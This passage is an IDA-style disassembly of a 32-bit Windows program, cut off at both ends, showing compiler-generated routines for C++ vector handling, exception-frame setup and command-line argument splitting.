		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4A0	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A510	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A551
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A684
; ---------------------------------------------------------------------------


loc_40A551:				; CODE XREF: sub_40A510+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A635
		push	ebx


loc_40A591:				; CODE XREF: sub_40A510+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A5A0


loc_40A597:				; CODE XREF: sub_40A510+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A597


loc_40A5A0:				; CODE XREF: sub_40A510+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A5AF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A5AF:				; CODE XREF: sub_40A510+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5FF
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5CB:				; CODE XREF: sub_40A510+D5j
		cmp	cl, 22h
		jnz	short loc_40A5DC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5E7
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5DC:				; CODE XREF: sub_40A510+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5CB


loc_40A5E7:				; CODE XREF: sub_40A510+B9j
					; sub_40A510+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A62A
		add	eax, 2
		jmp	short loc_40A626
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A510+B5j
		test	cl, cl
		jz	short loc_40A614
		mov	dl, [edi]


loc_40A605:				; CODE XREF: sub_40A510+102j
		cmp	cl, dl
		jz	short loc_40A614
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A605


loc_40A614:				; CODE XREF: sub_40A510+F1j
					; sub_40A510+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A62A
		cmp	cl, [edi]
		jnz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A626:				; CODE XREF: sub_40A510+EDj
		mov	[esp+48h+var_3C], eax


loc_40A62A:				; CODE XREF: sub_40A510+DAj
					; sub_40A510+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A591
		pop	ebx


loc_40A635:				; CODE XREF: sub_40A510+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A64D
		push	offset byte_448F30
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: sub_40A510+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A65A:				; CODE XREF: sub_40A510+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A684:				; CODE XREF: sub_40A510+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A710	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A820	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A840	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A870	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A870	endp

; ---------------------------------------------------------------------------
		xor	eax, eax


loc_40A898:				; DATA XREF: ___:0044653Co
					; ___:00446580o ...
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8CA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8CA:				; CODE XREF: sub_40A8C0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A908
		mov	ecx, esi
		call	sub_401F05


loc_40A908:				; CODE XREF: sub_40A8F0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A960	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A960	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A980	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A980	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA10


loc_40AA01:				; CODE XREF: sub_40A9F0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40AA01


loc_40AA10:				; CODE XREF: sub_40A9F0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA30:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAB0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB9B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AB03
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AB05
; ---------------------------------------------------------------------------


loc_40AB03:				; CODE XREF: sub_40AAD0+26j
		mov	ebp, edi


loc_40AB05:				; CODE XREF: sub_40AAD0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB9B:				; CODE XREF: sub_40AAD0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABF9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABF9:				; CODE XREF: sub_40AAD0+D8j
		test	edi, edi
		jbe	short loc_40AC33
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC33:				; CODE XREF: sub_40AAD0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACF2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACD6:				; CODE XREF: sub_40ACC0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACD6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40ACC0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD37
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD26:				; CODE XREF: sub_40AD10+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD26
		pop	esi
		pop	ebx


loc_40AD37:				; CODE XREF: sub_40AD10+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD50	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD50	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADB0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADCD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADC1:				; CODE XREF: sub_40ADB0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADC1
		pop	esi

locret_40ADCD:				; CODE XREF: sub_40ADB0+Aj
		retn
sub_40ADB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADE0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AE02
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADF1:				; CODE XREF: sub_40ADE0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADF1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE02:				; CODE XREF: sub_40ADE0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE40	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE4A
		xor	eax, eax


loc_40AE4A:				; CODE XREF: sub_40AE40+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE40	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE8B:				; CODE XREF: sub_40AE70+11j
		retn
sub_40AE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEC0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AED8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AED8:				; CODE XREF: ___:0040AECDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEF0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF21:				; DATA XREF: sub_40AF32o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF32	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF21
		retn
sub_40AF32	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF60	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF80	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFA0	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFC2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AFA0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AFA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFE0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B007
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: ___:0040AFE9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B020	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B03C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B03C:				; CODE XREF: sub_40B020+8j
		pop	esi
		retn
sub_40B020	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B050:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B070	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B09E:				; DATA XREF: sub_40B0B1o
		mov	ecx, [ebp+var_C]
